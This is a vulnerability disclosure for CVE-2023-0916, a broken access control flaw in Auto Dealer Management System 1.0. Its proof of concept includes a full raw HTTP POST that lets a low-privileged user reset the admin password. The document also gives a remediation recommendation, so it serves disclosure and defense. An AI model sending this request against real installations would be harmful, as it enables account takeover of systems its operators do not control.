Exploit Title: Auto Dealer Management System 1.0 - Broken Access Control Exploit

It leads to compromise of all application accounts by accessing the ?page=user/list with low privileged user account

Date:

18 February 2023

CVE Assigned: CVE-2023-0916 mitre.org nvd.nist.org

Author:

Muhammad Navaid Zafar Ansari

Vendor Homepage:

https://www.sourcecodester.com

Software Link:

Auto Dealer Management System

Version:

v 1.0

Broken Authentication:

Broken Access Control is a type of security vulnerability that occurs when a web application fails to properly restrict users’ access to certain resources and functionality. Access control is the process of ensuring that users are authorized to access only the resources and functionality that they are supposed to. Broken Access Control can occur due to poor implementation of access controls in the application, failure to validate input, or insufficient testing and review.

Tested On: Windows 11

Affected Page:

list.php , manage_user.php

On these page, application isn’t verifying the authorization mechanism. Due to that, all the parameters are vulnerable to broken access control and low privilege user could view the list of user’s and change any user password to access it.

Description:

Broken access control allows low privilege attacker to change password of all application users

Proof of Concept:

Following steps are involved:

1. Visit the vulnerable page: ?page=user/list
2. Click on Action and Edit the password of Admin

4. Update the Password and Submit

5. Request:

POST /adms/classes/Users.php?f=save HTTP/1.1  
Host: localhost  
Content-Length: 877  
sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99"  
Accept: */*  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfODLB5j55MvB5pGU  
X-Requested-With: XMLHttpRequest  
sec-ch-ua-mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36  
sec-ch-ua-platform: "Windows"  
Origin: http://localhost  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: http://localhost/adms/admin/?page=user/manage_user&id=1  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: PHPSESSID=c1ig2qf0q44toal7cqbqvikli5  
Connection: close

------WebKitFormBoundaryfODLB5j55MvB5pGU  
Content-Disposition: form-data; name="id"

1  
------WebKitFormBoundaryfODLB5j55MvB5pGU  
Content-Disposition: form-data; name="firstname"

Adminstrator  
------WebKitFormBoundaryfODLB5j55MvB5pGU  
Content-Disposition: form-data; name="middlename"

------WebKitFormBoundaryfODLB5j55MvB5pGU  
Content-Disposition: form-data; name="lastname"

Admin  
------WebKitFormBoundaryfODLB5j55MvB5pGU  
Content-Disposition: form-data; name="username"

admin  
------WebKitFormBoundaryfODLB5j55MvB5pGU  
Content-Disposition: form-data; name="password"

admin123  
------WebKitFormBoundaryfODLB5j55MvB5pGU  
Content-Disposition: form-data; name="type"

1  
------WebKitFormBoundaryfODLB5j55MvB5pGU  
Content-Disposition: form-data; name="img"; filename=""  
Content-Type: application/octet-stream

------WebKitFormBoundaryfODLB5j55MvB5pGU--

6. Successful exploit screenshots are below (without cookie parameter)
   

7. Vulnerable Code Snippets:

Recommendation:

Whoever uses this CMS, should update the authorization mechanism on top of the list.php , manage_user.php pages as per requirement to avoid a Broken Access Control attack

Thank you for reading for more demo visit my github: https://github.com/navaidzansari/CVE_Demo